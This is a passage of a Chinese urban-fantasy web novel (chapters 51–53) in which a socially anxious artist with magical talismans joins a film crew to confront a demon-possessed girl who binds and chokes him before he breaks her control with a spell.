她本就心思细腻,最见不得这种人间悲剧,更何况这样被人诬陷,得承受多大的心理压力啊。
夙逸兴也捏紧了拳头,她现在特别想找人打一架。
常笑摇了摇头,一本正经道:“不是相信你,是相信我们自己的判断。”
“说起来这事我之前听过一耳朵。”夙明月是计算机系的,距离物理学院很近,能听到有人讨论这件事也不奇怪。
“我当时还想怎么会有人这么傻,抢别人东西这么正大光明让人抓把柄的,反过来想想逻辑通顺多了。”
“这件事我们会帮你调查的。”
“为什么?”何云江一时之间心里酸酸涨涨的,他很感谢这些人,至少让他知道人间尚有温情,但他不想拖累他们。
何云江正在组织语言想让他们放弃,他不会再自杀了,也许离开这里,做一个普通的工作,安安稳稳过一辈子也不错。
但他听到那个把自己按醒的大高个说,“因为我是军人,保护人民的安全是我的职责。”
这种事他无论如何都不可能视而不见。
常笑把证件掏出来递给何云江,并说道:“若是你有疑虑,可以一起去医院挂个号。”
若是别的可以作假,保障卡做不了假。
夙家姐弟:“?”
不是哥们,你怎么回事,你出门不仅随身带精怪,还随身带军人?!
同学?他们咋这么不信呢?!
何云江捧着常笑的军官证,眼睛又开始发酸,“我相信你。”
他何云江何德何能如此受老天垂青,轻生的时候拉住他的竟然是一位相信自己的军人,也许自己的事真的有转机。
在华夏,军人的声望很高,有他们在,仿佛一切困难都不是事,哪怕专业其实并不是很对口,但只要作出承诺,他们便会下意识无条件的相信对方。
常笑的表情忽然变得异常严肃:“你刚刚说,你发现的那个东西甚至能够当研究所的敲门砖,若是这件事得到证实,你身上发生的事可不仅仅关乎你自己。”
“这件事往严重了说,就是有人想要顶替你混进研究所。”
众人皆是一惊,研究所对于科研领域多重要,哪怕不是那个领域的人也都听说过,若是被间谍混进去,后果不堪设想。
这事绝不可能被轻拿轻放,甚至会惊动国安。
“总之我们先离开这里吧。”吴惟看了眼楼下,楼下虽然人少,但不是没有,而何云江在这里是个名人,万一被认出来就不好了,谁知道会不会有什么安全隐患。
吴惟从空间里掏出几张隐身符:“用这个。”
反正孰湖都见过了,再多见点玄学也没关系。
他们离开的时候依旧走的墙壁,毕竟教学楼楼梯窄,万一撞上人就不好了,更何况孰湖效率更高。
众人没有异议。
夙逸兴悄悄怼了一胳膊弟弟,小声说道:“你有没有发现,吴惟虽然社恐了点,但做事挺果决的,挺适合当领导。”
夙明月点头:“确实,之前咱们见他的时候,说话还喜欢用问句,都不好意思直接下命令呢。”
“或许这种就是成长吧。”夙逸兴老气横休地说道,“金麟岂是池中物,也许这个金鳞距离化龙不远咯。”
上次他们在群里互通消息的时候,他们就对吴惟来历不简单这件事心照不宣地了,但其实夙家姐弟并没有什么实感。
毕竟吴惟表现的太像一个清蠢大学生了,性格还有些自闭,平时戳一下动一下,想做什么事还会犹犹豫豫。
但这次见面就发现了一些不一样的地方,虽然社恐还是社恐,但关键时刻很靠谱。
他毫不犹豫放出孰湖救下何云江,并决定上楼的时候也是,刚刚常笑说到这件事的严重性的时候也是。
当机立断,又考虑周全。
虽说这种事情平常人也能想到,并不难,但难就难在迅速做出反应,并且调配身边的人去做最合适的事。
六人快速离开学校的路上,常笑拨通了他爹的电话。
有时候还是要走走后门,毕竟这种事还是快一点的好,不然等上报,总归是要等一段期间。
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51.第 51 章
六人抵达校门口的时候,接他们的车子已经到了。
这件事不宜打草惊蛇,来接他们的车是两辆大街上随便就能看到的那种普通的车。
常笑之前记下了车牌号,看到就直接带人走了过去。
六人到校门口就把隐身符去了,此时孰湖和闹闹都被吴惟收了起来。
其实这件案子并不需要他们都到场,只是不管是对于这件案子还是孰湖,他们都需要签个保密协议。
何云江抵达国安局之后就被保护起来了,另外几人签完协议就离开了,接下来事不是他们能参与的了。
希望一切顺利。
吴惟与何云江分开之前,顺手用愿力在他脸上画了个因果祝福符阵。
没错他已经进化到了可以在任何物体上刻画符阵,选择脸上只是因为凹凸不平的地方画起来更容易达到效果。
反正别人看不见,就算被阴阳眼看见了也会感觉这个图腾妆容很好看。
毕竟符阵本身再怎么变化都不会丑,丑了吴惟也接受不了不可能学会不是?
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事事无为:#拼接图片#
呦呦鹿鸣:!!!
呦呦鹿鸣:很好看,谢谢学长!
呦呦鹿鸣:#红包#
呦呦鹿鸣:等会儿我就让林哥把尾款结了
事事无为:好
众所周知社恐最怕催债了,对方能够爽快结尾款简直是天使,吴惟对鹿鸣瞬间好感飙升。
等尾款到了,吴惟把四张原图打包发了过去,顺便问了一句解禁时间。
呦呦鹿鸣:很快!宣传海报出来学长可以随便发啦
事事无为:好
吴惟原以为很快也得是十天半个月,结果第二天就看到自己的画被挂上热搜了,他后台又炸了。
呦呦鹿鸣:[不见不散 #图片九宫格# ]
上面四张是他的画局部剪裁成海报大小,上面p了一些关于演唱会的信息。
还别说,剪裁构图都还不错。
另外五张图是鹿鸣舞台的宣传照,同样p成了海报。
呦呦鹿鸣:[感谢学长@事事无为画的四张海报,把我画得那么帅 #酷# ]
[呜呜呜,是演唱会!]
[谁懂啊家人们,追一个人从二次元到三次元,他终于开演唱会了!崽你真的出息了!!!]
鹿鸣最开始算是yy的唱见,这活他从高中就开始干了,当时还只是为爱发电,直到大学实习的时候,签了公司,才转向娱乐圈。
只不过这件事是yy粉丝扒出来的,并不是他自己说的,当时还出圈了,被夸了一波低调。
[好消息,我推要开演唱会了,坏消息,还要等六个多月]
[谢谢你盲生,呜呜呜就不能让我期待一下嘛,这么早宣发让我白高兴一场了]
[我怀疑某些人是约到好看的图迫不及待发了,哪个好人家宣发要六个多月!]
[是哦,看这得意的小表情,宝宝你本来就很帅了哈哈哈哈]
[经纪人表示大刀收不住了,自家崽子这么任性,想发就发了,说起来有人知道哥哥为什么叫画师学长吗]
[我知道我知道,前段时间哥哥不是受临大邀请去那边开个小型演唱会嘛,应该是那个时候遇到的?]
[那不是应该遇到的是学弟学妹吗]
[没说毕业了校庆不能回去玩吧]
[卧槽等等,无为太太是我们临大的?!难怪我在艺术系的历届毕业作品展出中看到一个好熟悉的画风,他他他居然是我学长!呜呜呜我是太太的狗!]
[好家伙,我就说我这个不追星的不会无缘无故刷到这个,原来是太太画的@事事无为太太快来认领啊,这一看就是剪过的,我要看原图!]
[呜呜呜我喜欢太太画了我喜欢的偶像,双厨狂喜!]
[最重要的是,他们居然还是校友!]
[……]
事事无为:[认领,舞台很棒。]
呦呦鹿鸣:[谢谢学长 #比心# ]
[太太好高冷啊,果然是他的风格]
[笑死我,这个句号好灵性啊,原来学长是老干部风格]
[笑死我了,原来鹿崽还会比心啊,突然画风变得软萌]
[我从学长那边回来了,卧槽我以为海报够好看了,原图才是氛围感拉满啊 #拼图图片# ]
[画的这么好,突然有点想嗑]
[我也…艺术生和艺术生天配好嘛,你最美的样子我都有,呜呜呜什么神仙cp]
[楼上麻烦圈地自萌]
[楼上还是不要带我们太太了,他超级社恐,你们嗑多了我都怕他跑路了#猫猫捂脸# ]
[更好嗑了肿么回事,社恐需要社牛来支持啊,姐妹们,我开了个群,要不要来]
[要要要!拉我拉我]
[……]
由于距离演唱会时间太长,加上鹿鸣炫耀的口气,话题直接歪了,嗑cp的就不说了,她们撤的很快,还有很多人猜测他们是什么时候认识的。
有人专门去扒了吴惟的主页,发现他和宁淮认识,鹿鸣唱了景江的歌,宁淮又是景江的“师父”。
这四人在自己的领域都很出色,四舍五入,[果然大佬的朋友都是大佬]
网上的事暂且不提,吴惟也没那个去翻的习惯。
解决完这单之后,吴惟直接无缝衔接审起了园区的设计图。
别说,虫虫和楚星垣效率真贼高,这才不到一个星期,大概的草图就出来了。
他们小区是个老小区,除了他住的公寓写一片是后来建的以外,其他几栋楼年龄最小的也有十几年了。
据说有两栋楼已经四五十年没动了,因为它之前是高层,拆平层的时候就把它保留下来。
临市北边相对荒凉,没有什么商业价值,宁淮他们那个小区当初也是有开发商想试试水来着,结果没有后来了,能建起来就不错了。
说起来他的公寓也是,现在甚至连物业都是散装的。
老房子那边的小区也不是一个小区的而是好几个小区拼接在一起,才使得地形错综复杂。
原本看着挤挤挨挨的小区建筑群,真实丈量起来也不算小,大概有六千平米左右,也就是两个路口之间。
像他们这种荒凉的地方路口和路口之间距离比较大的。
小区后面是山,没有开发,所以这里还是比较适合精怪生活的。
后山区域本来就不属于任何开发商,军方那边直接盘下来,并入他们园区只用走个流程就可以了。
说起来这还要感谢大姐头,若不是殳玲希望可以给精怪们安个家,大概就不是改造周边,而是把吴惟带走安置了。
不过说是审图纸,也没怎么审,毕竟他们班同学审美都不错,还有一个风水师压阵,不需要他怎么操心。
整个园区植被覆盖面积跟广,中间有一个小池塘,大大小小的建筑点缀在其中,建筑风格也是偏自然的仿木构建筑。
其中有些地方添加了一些给精怪玩耍攀爬的区域,最大的建筑群落就是给他们住的宿舍。
吴惟本来还觉得是不是有点多了,但楚星垣说万一以后需要了呢。
吴惟一般不会考虑一些作为社恐会出现的意外。
比如,他装修自己家的时候,根本没考虑有客人会来。
他现在也不觉得除了精怪和保护他的军人,还会多出来什么。
没错,他最近知道了除了常笑,还有别的军人盯着他这边呢,整个人都是麻木的,他实在有点想象不出来周围会变多热闹。
但是楚星垣不一样,作为建筑师,他不可能不去考虑以后。
更何况,吴惟身边的玄门伙伴,以及官方的人,有一个算一个,都不觉得他会一直盘着不动。
虽然不知道以后会朝哪个方向发展,但他身边的人肯定会越来越多,提前规划一下准没错。
他们甚至写字楼都规划好了。
吴惟大概了解了一下各个分区的功能,只提了一个小要求,他很满意现在公寓的格局,提出希望可以住跃层之后,很放心地把后面的活全权交给沃语冰和楚星垣了。
“对了,到时候得把呱呱也请来,盯着虫虫,让她少喝点咖啡少熬点夜。”
“还有荷姐,若是她有空也请过来。”
常笑听到这些话稍微有些无语,真不是你自己拼的时候了。
不过他也赞同,上次见虫虫脸白的跟从地里爬出来的一样,希望有荷姐在能帮她调理好吧。
安排好一切之后,吴惟把重要的东西收进空间里,就和常笑搬到特事局那边提供的宿舍了。
宿舍是平层,采光的大阳台正对南方,南北通透,格局很舒服,楼层也不高,小区里绿化也不错,很适合溜孰湖。
吴惟过了两天清闲的生活,看周围的
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人忙忙碌碌,突然觉得自己挂了个顾问的身份,又住了人家的宿舍,还领着工资,不做点什么有点过意不去。
正准备去办公楼那边问问有没有什么他能帮上忙的地方,常皓轩先一步找上门来。
“你还记得盛思涵吗?”常皓轩知道吴惟的性格,直接开门见山。
那是谁?
吴惟有些茫然,婴灵提醒他:“那个滤镜。”
哦,是她啊,那个“小说女主”。
“她怎么了吗?”
常皓轩叹气,“上次你给我们的方向是对的,但是我们的人更难接触她了。”
“只要一靠近就会被她迷惑,甚至严重的,离开之后会想不起来和她接触的记忆。”
“我们的人怕被她看出点什么,这段时间只在远距离观察,有什么异动好提醒被她迷惑的人。”
“好在那东西力量虽强,却可以驱散,只要远离盛思涵使用清心咒就能脱离,但如果接触久了,心智会一步一步沦陷。”
现在他们已经处于一个僵持的状态,谁也奈何不了谁。
盛思涵身边的人,除了已经被蛊惑心智的死忠,其他人隔段时间换一批,虽然盛思涵本人没什么感觉,但她背后的东西肯定发现了问题。
“如今这人已经离开校园转战娱乐圈了。”
吴惟:“?”
“她不是才高二?不用完成学业了吗?”
“言情女主不需要完成学业。”常皓轩摊了摊手,“毕竟她都有金手指了,还在乎这些吗。”
合情合理,无法反驳。
吴惟一时无言。
“所以你是想让我做什么?”
常皓轩迟疑了一下,问道:“我听局长说,你和天魔对上过,似乎能够免疫它的蛊惑?”
他说的是上次被天魔抓住的事,常皓轩不清楚事情始末,这件事之前婴灵替吴惟上报过,局长会知道不奇怪。
吴惟点头,“所以你是想让我去对付她?”
“只是试试,”常皓轩心里没底,但是他也知道吴惟重要,若不是走投无路也不会来找他,“若是不行立马撤,保证自己安全。”
“好。”
吴惟答应的干脆,这件事放着迟早的得出事,既然有能力还是应该先解决了。
何况他本来就是天魔的目标,迟早会对上,主动权还是掌握在自己手里更好一些。
见他答应了,常皓轩也松了口气,开始说起任务情报,“盛思涵目前在穹市影视基地《万劫》的剧组演女三,局里的意思是,给你安排一个男主师尊的身份…”
说到这,常皓轩有些尴尬地轻咳一声,“那什么,主要盛思涵目标一般都是演员,如果安排后勤的话,不太好搭话。”
盛思涵眼睛长在天上,根本不会正眼看那些人。
吴惟嘴角抽了抽,这么一瞬间他真的很想拒绝啊!他又不会演戏,这不是坑人家剧组吗!
“你也不用太有心理负担,我专门去了解了一下,这个师尊的角色,和你本人气质还是挺像的,你就背背台词,本色出演就好了。”
“而且盛思涵那边我保证以你的形象在她面前晃一晃自己就会上钩。”
可不的,吴惟心里吐槽,只要在她面前晃一晃,她就记忆就会直接解封,吴惟的隐身能力,可不能消除记忆,顶了天了就是消除他的存在感而已。
“行叭。”
还能怎么办呢,盛思涵那边不能不解决,就这样吧,让他先自闭一会儿。
常皓轩掏出手机,“行,那我和那边联系了,让他们安排。”
“不用。”
吴惟刚刚想看时间来着,刚好看到屏幕上的消息,是鹿鸣发的。
呦呦鹿鸣:老师您对剧组感兴趣吗?这边有个机会可以参观哦
呦呦鹿鸣:剧组刚好缺一个龙套,戏份不多,您的气质刚好合适,本色出演就可以了
呦呦鹿鸣:原画组那边最近也来采风,说不定你们还能交流一下哦
哦个鬼哦,这一看就不是鹿鸣,八成是那个一见面就想拐自己进娱乐圈的经纪人。
事事无为:哪个剧组?
呦呦鹿鸣:万劫
吴惟:“……”
他就知道,一般这种时候,都是贼老天安排的,别说今天常皓轩来找自己了,就算不找,他也拒绝了,照样会有其他方式把他送到那边去的。
就像上次地震:)
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52.第 52 章
穹市也在临省,距离临市不远。
吴惟动作很快,第二天就踏进了剧组大门。
曹来打量着吴惟,说不上来满意不满意,这人形象确实符合要求,但似乎有点太符合了。
《万劫》是由一本很火的古言小说改编而成的,师尊这个角色可以说是整本书白月光的存在。
他是天机阁的阁主,一生都在观测和推演天机,唯一一次下山就是为了寻找作为救世主的男主,带他在红尘中历练,以及教授男主修炼。
他离开后,男主一直在寻找他,直到男主被异宝控制,师尊才现身,阻止他继续魔化,最终也死在了男主的剑下。
作为天机阁的阁主,他对世界一直都是一种观测的状态,气质飘渺,恍若仙人临世,这个角色可以没有太多演技,但气质一定要有,而且最好能长的好看。
但曹来也说不上来长得好看要什么样的,他便想着找一个长得好看的舞蹈生去演。
之前的演员也确实演的不错,可惜只拍了一个镜头,就出了意外,没办法,只能重新找了。
本来他是想去舞剧团那边再看看的,谁知林广说他认识一个气质很合适的人,如果导演同意,他试着可以请他来见见导演。
这个试着是因为对方不是圈里人,不一定会同意,但林广给他看的照片确实很有感觉。
照片是当初五仁瓜子修的天官系列,要和吴惟合作,林广自然是要尽可能收集吴惟的信息。
这套图是他从吴惟那些隐藏起来的颜粉那儿搜到的,当时他看了惊为天人,再次为吴惟不进娱乐圈感到惋惜。
曹来想着,反正都是要找,不然就先见见这人。
照片是照片,还是修过的,他还是得见见人才能确定。
这一见,曹来就头疼了,眼前这人确实很符合师尊的形象,但就是因为太符合了,跟其他演员仿佛不在一个图层上。
倒不是说其他演员长得不好,气质不好之类的,但和这人一比,就仿佛一群现代人穿着古装假扮古人…
不过也不是不行,毕竟天机阁的阁主,会和其他人有次元壁也是正常的,况且长相方面妆造统一一下应该问题不是很大。
不过单独去看容易受记忆影响,判断失误还是得放一块看看。
曹来干脆提议,不然先拍个定妆照看看,顺便出去见见人。
吴惟不置可否,他倒是无所谓,反正伸头一刀,缩头也是一刀,这种时候他只要摆烂听话就完了。
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鹿鸣有点焦虑,林广这家伙背着他跑去联系学长来演他师尊。
关注吴惟的人都知道他有多社恐,网上说话都少,更何况是在现实中,自己明知道对方不喜欢被注视的情况下还拉对方来演戏,实在是很过分。
希望学长不要生气吧。
鹿鸣叹气。
也不知道导演和学长谈的怎么样了…
“鹿哥,你怎么了,状态不太好?”少女清脆的声音让鹿鸣突然警觉,他刚刚竟然没有发现有人路过!
鹿鸣回头,看到来人身影,才放松下来,声音也变得异常温柔,“是思涵啊,我没事,谢谢关心。”
“没事就好,”盛思涵微微一笑,“刚刚看鹿哥状态不对,还以为出什么事了。”
“不是什么大事,就是有点担心…”鹿鸣突然住嘴。
不知道怎么回事一看到盛思涵就忍不住想向她倾吐烦恼,但鹿鸣随即想到未经允许在人前吐露别人的弱点不好,哪怕只是无伤大雅的社恐。
“嗯?担心什么?”
正在鹿鸣犹豫挣扎之际,被一阵惊呼声惊醒。
两人下意识朝声源处望去,只见不远处人群聚集了起来,其中有道白色的身影略有有些熟悉。
盛思涵倏然起身,死死的盯着那道身影,她摸了摸心口,她不记得自己有心律不齐的毛病。
那人似乎感受到了她的目光,回头望向她的方向。
是他!盛思涵突然从角落里翻来了一页似乎已经褪色的记忆,在看到那人的眉眼的一瞬间,重新染上浓墨重彩。
平日里就喜欢裋褐短打的吴惟毫不意外适合古装,行走之间衣袖翻飞,让原本就清冷的他如同古画里走出来的仙人。
“老师…”
吴惟这次没有用愿力隐藏自己,无论是盛思涵还是天魔眼里,自然都非常显眼。
婴灵:“毕竟都对你求而不得。”
吴惟:“…会不会说话。”
婴灵:“我又没说错,一个馋你身子,一个馋你意识,哼。”
虽然嘴上这么说,但婴灵可没有什么调侃的意思,她真的快要气死了,真想把那该死的玩意眼睛挖了!
她家崽子那么优秀,在哪发光发热不好,非要被那种恶心玩意盯上!
吴惟的注意力没有停留在盛思涵身上,反正某些人会自己凑过来的…
虽然他其实不希望某人凑过来,还是让他悄悄把系统收了吧,求求了…
不过比起这个,他更想知道为什么会在剧组遇到千叠…
没错,那个捧着相机要给自己拍定妆照的人是他们三班的风神大人千叠!
这家伙不是自然风光和野生动物的摄影师吗,怎么跑来拍古偶了?!
“神子大人你表情自然一点,别一副见了鬼的模样!”
可不就是见鬼了吗,鹿鸣就算了,不熟,但是为什么会有老同学在啊?!
人生怎么可以除了社死就是在社死的路上!
“欸?你们认识?”这声音是导演的。
换上戏服,吴惟被封印的气质就慢慢显露出来了,曹来满意的不行,脑子里直接把不在一个图层上的事给抛到脑后了。
师尊可是天机阁阁主欸,身份本就超然,不在一个图层上咋了!好看就完了!
吴惟摆烂的时候,眼神总是给人一种“视万物为刍狗”的非人感,只是从前存在感小,并不明显,而现在在愿力和功德的加持下,这种效果被发挥到了极致。
然而刚刚看到千叠的时候,又似乎瞬间回到了人间。
千叠很自然地把手臂搭到吴惟肩膀上,扬了扬下巴,“我同学。”
“说真的,要不是你说找到人选了我都打算给你推荐我们神子大人了,没想到…”千叠揶揄地看了吴惟一眼,轻轻撞了一下胳膊,问道:“欸,跟我说说到底是谁面子这么大,居然能请动你。”
“鹿鸣~鹿鸣~”闹闹从房顶上下来,飞到吴惟肩膀上。
此时鹿鸣和盛思涵已经走近了。
“原来鹿哥和老师认识。”盛思涵盯着千叠刚刚碰过吴惟的胳膊,眼睛里都快冒出火了。
盛思涵默默移开视线,低下头一副柔柔弱弱的模样。
她不想被吴惟看到嫉妒的一面。
鹿鸣愣了一下,“老师?”
“对啊,吴惟老师在我们学校代过美术课,他好厉害,就连我这个没有什么绘画细胞的人都能听懂。”盛思涵适时露出了崇拜的表情。
吴惟手痒,好想一巴掌把业火符阵拍她脸上…
不行,得慢慢来,用愿力和功德画符阵太容易被发现了,他暂时还不能表现出已经发现天魔的样子。
果然相比较正面对决,还得是苟着偷偷来好,他可不想搞成上次那种大场面。
要是这玩意可以瞬发就好了…
鹿鸣还是愣愣的样子,他只知道吴惟画画好,没想到也很会教,眼睛一亮,“没错,学长很厉害!”
千叠:“?”
好家伙,这个死社恐居然也有桃花了?
等等,这桃花不会是仰飞光那家伙说的那个女孩儿吧?
这都能遇上,这也太衰了吧!
千叠表示震惊,不过那妹子的眼神,啧。
虽然看同学可怜,但是再可怜还是要被调侃,“没想到我们家神子大人还挺受欢迎的嘛!”
吴惟叹气,“我说风神大人,再不开始干活导演要生气了。”
导演不生气,导演在一边看的津津有味。
好家伙,一个圈外人,刚到剧组就遇到三个熟人,有趣。
不过工作确实不应该耽误,曹来大手一挥,招呼摄影和道具组去拍定妆照。
鹿鸣和盛思涵见状也不打扰。
“闹闹乖,先去玩,等会儿叫你
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再回来。”吴惟轻轻点了一下闹闹的喙,这一幕直接被千叠抓拍下来了。
导演一拍大腿,“好!”
吴惟抬头有些懵,什么好?
“小吴啊,你这鸟听话吗?”
导演搓搓手,刚刚吴惟看鸟的眼神可真温柔啊,天机阁阁主虽然没有养鸟,但想想他的人设,那部分对苍生的爱,从这里体现一下也不是不行。
吴惟:“。”
“闹闹乖~听话~”闹闹顺势上手,歪了歪脑袋,挺起胸膛说道。
它可聪明了,现在都能听懂人类说话了!
“好好好,闹闹乖,那闹闹愿不愿意演戏呀?”曹来来了兴致,逗起闹闹。
“演戏~演戏~”
曹来一脸震惊,“这鸟成精了?!”
吴惟:“……”
“闹闹~演戏~演戏~”
“好好好,让闹闹演。”导演乐开了花,第一次见这么配合小动物,让它出个场也不是不行嘛。
让他想想,说不定师尊死了,还可以留给徒弟,他都想好要怎么去嚯嚯编剧了。
吴惟:“……”
你们开心就好。
当然,这里面最乐呵的还是亲爹,被揣在常笑兜里的宁淮飘到闹闹身边鼓起了掌,“闹闹都会演戏了,真好啊。”
没错,这次吴惟出门依旧拖家带口,这几个家伙都不放心他,闹闹更多的是想跟着宁淮。
吴惟没多考虑就带上他们了,毕竟自己身上确实有短板。
常笑能打,可以应付大多数意外;孰湖能跑各种地形,就像上次救人,补齐常笑的短板。
宁淮一般人看不见,虽然暴露在天魔眼皮子底下无所遁形,但也是常规手段,不容易引起它的警觉,还是可以帮他们检测一些事的。
闹闹不容易被注意到,至少在天魔眼里是这样的,想干点“坏事”让闹闹去总没错。
比如偷偷用没有能量波动的东西布置符阵:)
毕竟一只聪明一点的普通鸟儿,不值得祂注意。
符阵这东西不一定要用能量去画,万物皆可入阵,只要契机连通,只不过效果不一样而已,先不知不觉布置好,之后再用愿力激活速度会更快。
能不能用上先不说,总之缺乏安全感导致的谨慎作风,让吴惟出发前就先考虑了一大堆。
闹闹演戏这件事就这么被导演拍板定下了,周围人没什么异议。
由于某人是本色出演,放松下来后,定妆照拍的很快,不用千叠引导,只要摆出平常的姿态就很能出片。
这次千叠是超额完成任务了,唯一不好的就是到时候选片有点难以抉择。
曹来很满意,当即把吴惟拉到接待室去签合同,千叠怕老同学吃亏,也跟了过来,她对娱乐圈相对要熟悉一些。
“其他没什么问题,就是后续宣传没必要了吧,一个龙套角色而已。”千叠可太清楚老同学的个性了,合同上虽然没明说,但意思是如果有需要得到场。
曹来不乐意了,“也不是必须的,再说所有人都有这一条,不能搞特殊啊。”
千叠翻了个白眼,现在说不是必须,以后肯定次次都请,明眼人都能看出来吴惟这次肯定能火,这个人精怎么可能放弃这个热度。
“容我提醒一下,我这位老同学不是圈内人,而且后期宣传也没有找龙套的惯例。”
“没有惯例不代表没有先例,只要效果好不是不行,小吴你觉得呢?”曹来不想跟千叠掰扯,在他看来现在人有哪个不想火的,于是绕过千叠直接问吴惟。
千叠直接露出看好戏的眼神。
吴惟之前还真没从合同里看出来可能要被拉去搞宣传的情况,这会儿自然不会同意。
感谢风神大人救他狗命!
“我觉得不行。”吴惟叹了口气,“说实话能同意演这个角色已经下了很大决心,若是您一定要我参与后续宣传,那我只能退出了。”
曹来恨铁不成钢,但也无可奈何,为了剧的效果只能随他们的愿了。
“谢谢导演,”千叠笑了,把合同递给吴惟,“行了,没问题了,签吧。”
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53.第 53 章
又是水深火热的一天。
作为一个小龙套,吴惟倒是不用怎么上,他对影视基地的建筑比较感兴趣,大部分的时候还是看看布景,看到有趣的图案、构图或者细节顺手拍下来。
吴惟拍照技术很不稳定,有时候和顾鎏有得一拼,有的时候又能像千叠一样出大片,毕竟他的目的是参考,构图和细节都挺重要。
当然,参观不是目的,画符阵才是。
吴惟发现他这种完全不收敛愿力的状态走动的时候愿力会在一个地方停留一段时间,至于停留的时间长短,他自己可以控制。
这样也就不需要用那些没什么能量波动,但容易被人清理掉的东西去画符阵了,他自己走一圈,把需要的地方多留一段时间就好了。
他在外面呆的时间长,还有一个原因是实在不想面对盛思涵,更不想演偶像剧。
盛思涵作为女三号,戏份不少,因为资方,这个三号已经隐约有向着女二靠近趋向了,自然不可能像他那么闲,是以吴惟还能出门透口气。
但每次到休息的时候,总免不了被纠缠,各种嘘寒问暖也就算了,还总是做出一副含情脉脉的样子,老师老师的叫。
太恐怖了!
这不,他又被堵了。
这是一处巷子口,周围没有人也没有监控,吴惟心中咯噔一下,暗觉不好。
“老师,在想什么,为什么不说话?”盛思涵眨眨眼睛,露出一副天真无邪的表情。
她不明白,这幅模样明明骗过了很多人,唯独眼前这人对她无动于衷。
好感度连动都没带动过。
连她用积分购买的各种蛊惑道具都失效了,可吴惟越是这样她就越心动。
在她眼里吴惟就像小说里修炼无情道的仙尊,这个仙尊还不是传统意义上的高冷,带着一股子超凡脱俗不谙世事的味道。
这样的人一旦动了情有多美味,看过小说的人都知道吧?
而她坚信,没有一个仙尊可以逃过女主的诱惑,前期越是不屑一顾,后期越是不离不弃。
但是她现在有点没耐心了。
在学校的时候,短暂的交集之后这人就消失了,而这次她打听到吴惟来剧组也只是个意外。
她怕自己还没成功,这人又不知道躲到哪去了,到时候连找都不好找。
吴惟察觉到盛思涵这次不对劲,直接放出宁淮让他把手机录像打开找个地方架好,再通知常笑,又从空间里悄悄把徽章拿了出来。
明面上的应付不过来,万一撕破脸皮打起来,他需要奶!
这次情况和上次不同,上次天魔直接控制了孟昊的行动,所以婴灵才能出手,但这次的盛思涵明显有自己的意志,所以吴惟只能靠自己了。
心里揣着事,吴惟自然没有空去回应盛思涵,他这人本身就不善交际,很多时候话要在脑子里过好几遍才能说出口。
盛思涵见他不理自己,垂眸不知道在想什么。
盛思涵抿了抿唇像是下定了什么决心,“系统,帮我兑换捆仙绳。”
捆仙绳:一根看不见的小绳子,可以束缚他人行动,大罗金仙来了都挣脱不开。
[叮——兑换成功,是否立即使用。]
“是。”
盛思涵一步一步朝吴惟走来,面上还是一副委屈巴巴的模样,“老师就这么讨厌我,连一句话都不想跟我说吗?”
吴惟想要后退,但他发现自己已经动不了了,一股恶意萦绕在周身,连同愿力一起束缚在了他体内,耳边传来万鬼嚎哭之声,吵的他头疼。
[是捆仙绳?!]连判官笔都惊了,[这种东西怎么会出现在这里?]
捆仙绳是天魔的得意之作,需要数十个残害百人以上的恶人身上的恶念与数被残害致死之人的怨念淬炼而成。
所谓残害,自然不只是杀死,还要对象经历折磨痛苦的死去。
上一根捆仙绳已经被当初的天庭尽数销毁,为什么还会存在这个东西!
婴灵脸色难看:“金市大屠杀!”
是在距离现在不远的时代,地府的卷宗里有写到过。
卷宗上说地府人员当初去接人,少了数万魂魄,只是当初此地判官和城隍一致认为,是因为死去的人太多了,有些被怨念侵蚀太久,有些被清气同化,或者被地脉吸收了,总之因为人手不够,导致来不及收回来的魂魄会消散也是正常情况。
但现在看来,怕是那数万人都被用来炼制捆仙绳了!
现在不仅是吴惟,就连婴灵也被困在身体里动弹不得。
浑浑噩噩中,盛思涵的手已经抚上吴惟的脸颊,看他皱着眉头有些痛苦的样子,盛思涵难得感到一丝恼怒,一把抓住吴惟的脖子强迫他与自己对视,“和我说句话让你这么难受?”
鬼怪的喊叫声无时无刻不在刺激吴惟的大脑,若是脱离身体还好,但五感和第六感转化出来的感官是不一样的,无法屏蔽。
何况他只是肉体凡胎。
吴惟听不见盛思涵说了什么,甚至感受不到自己被扼住的呼吸。
因为疼痛本身已经让他难以呼吸了。
“业火能烧捆仙绳吗?”吴惟艰难地拉回思绪,躲进空间喘了口气。
[可以试试,但没有人从内部攻破过捆仙绳,我也不知道会有什么后果。]
“好。”不知道就是有机会,愿力虽然被束缚在了身体里,但不是完全不能用了,用不出去至少可以在体内勾画符阵。
他还有徽章,好在徽章拿出来他就贴在了胸口,这个时候还是可以借点力的。
吴惟回到体内,窒息感直冲大脑,他不受控制睁开眼睛却无法聚焦,本能让他开嘴想要大口吸气。
盛思涵不知道吴惟在承受什么,以为他这幅脆弱的模样都来源于自己,一种难言而喻的快感充斥全身。
她突然觉得这么美好的东西就是用来摧毁的,看着当初迷惑她那双清冷的的丹凤眼,被痛苦迷茫所侵染,盛思涵难得感到兴奋。
“对,就是这样,看着我,你只能看着我!”盛思涵笑了起来,眼神逐渐变得疯狂。
[很痛吧,万鬼嚎哭,人间即是地狱,嘻嘻嘻嘻…乖孩子,把意识放开,我会保护你的…]
[还记得在川省的时候吗,你在我怀里睡的那么安详,那些讨厌的虫子再也不会影响你…]
天魔的声音直冲脑海,压过了所有喧嚣,它试图改变吴惟的记忆和感官,他自愿回到自己身边。
[来我这里,你就可以忘记一切痛苦,何必苦苦挣扎呢…]
吴惟才不想回去呢,那么冷的地方,就算没了那些烦人的东西也不想回去。
不过倒是要谢谢天魔,被他的声音包围的时候大脑的疼痛减轻了很多,吴惟抓紧时间刻画阵符。
盛思涵右手抚上了他眉眼,眼神痴迷,握着脖颈那只手忽然一使劲,吴惟被迫仰头,呼吸更加困难。
“呃……”
盛思涵看着被自己控制的人,感受着手上生命跳动的气息,这种掌控一切的感觉,真是美妙…
不,不对!
盛思涵瞳孔微缩,这不对,她什么时候变得对生命如此轻慢…这一瞬间她仿佛清醒了,手像触电一般收了回来。
没了力的支撑,吴惟向后摔在了墙上,大口呼吸着空气,原本服服帖帖盘在脑后的长发散了下来。
盛思涵,看着他,整个人像是被分成了两半,一半痴迷于掌控的快感,另一半又清醒着恐惧着自己。
鬼哭声稍稍被驱散,吴惟才有精力去看外界,盛思涵一瞬间的清醒让他察觉到了,他抬头,看向盛思涵的眼睛。
只是这一个动作就让他浑身冒汗,吴惟迅速把愿力集中在声带附近,用全身力气喊道,“盛思涵,清醒过来!”
虽然愿力被限制在体内,但被愿力影响的言灵并不是完全失效。
吴惟的声音虽小,但掷地有声,言灵带着他的声音直插入盛思涵脑海!
